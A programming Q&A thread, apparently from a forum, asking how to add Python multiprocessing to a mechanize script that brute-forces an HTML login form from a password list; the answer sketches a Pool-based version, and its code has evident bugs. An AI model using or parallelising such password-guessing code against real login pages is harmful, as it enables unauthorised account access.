How to use multiprocessing in a for loop - python
<p>I have a script that use python mechanize and bruteforce html form. This is a for loop that check every password from "PassList" and runs until it matches the current password by checking the redirected url. How can i implement multiprocessing here</p>

<pre><code>for x in PasswordList:          
    br.form['password'] = ''.join(x)
    print "Bruteforce in progress.. checking : ",br.form['password']
    response=br.submit()

    if response.geturl()=="http://192.168.1.106/success.html":
        #url to which the page is redirected after login
        print "\n Correct password is ",''.join(x)
        break
</code></pre>

<p>I do hope this is not for malicious purposes.</p>

<p>I've never used python mechanize, but seeing as you have no answers I can share what I know, and you can modify it accordingly.</p>

<p>In general, it needs to be its own function, which you then call pool over. I dont know about your br object, but i would probably recommend having many of those objects to prevent any clashing. (Can try with the same br object tho, modify code accordingly)</p>

<pre><code>list_of_br_and_passwords = [[br_obj,'password1'],[br_obj,'password2'] ...]

from multiprocessing import Pool
from multiprocessing import cpu_count

def crackPassword(lst):
    br_obj = lst[0]
    password = lst[1]
    br.form['password'] = ''.join(password)
    print "Bruteforce in progress.. checking : ",br.form['password']
    response=br.submit()

 pool = Pool(cpu_count() * 2)
 crack_password = pool.map(crackPassword,list_of_br_and_passwords)
 pool.close()
</code></pre>

<p>Once again, this is not a full answer, just a general guideline on how to do multiprocessing</p>

python multiprocessing mechanize-python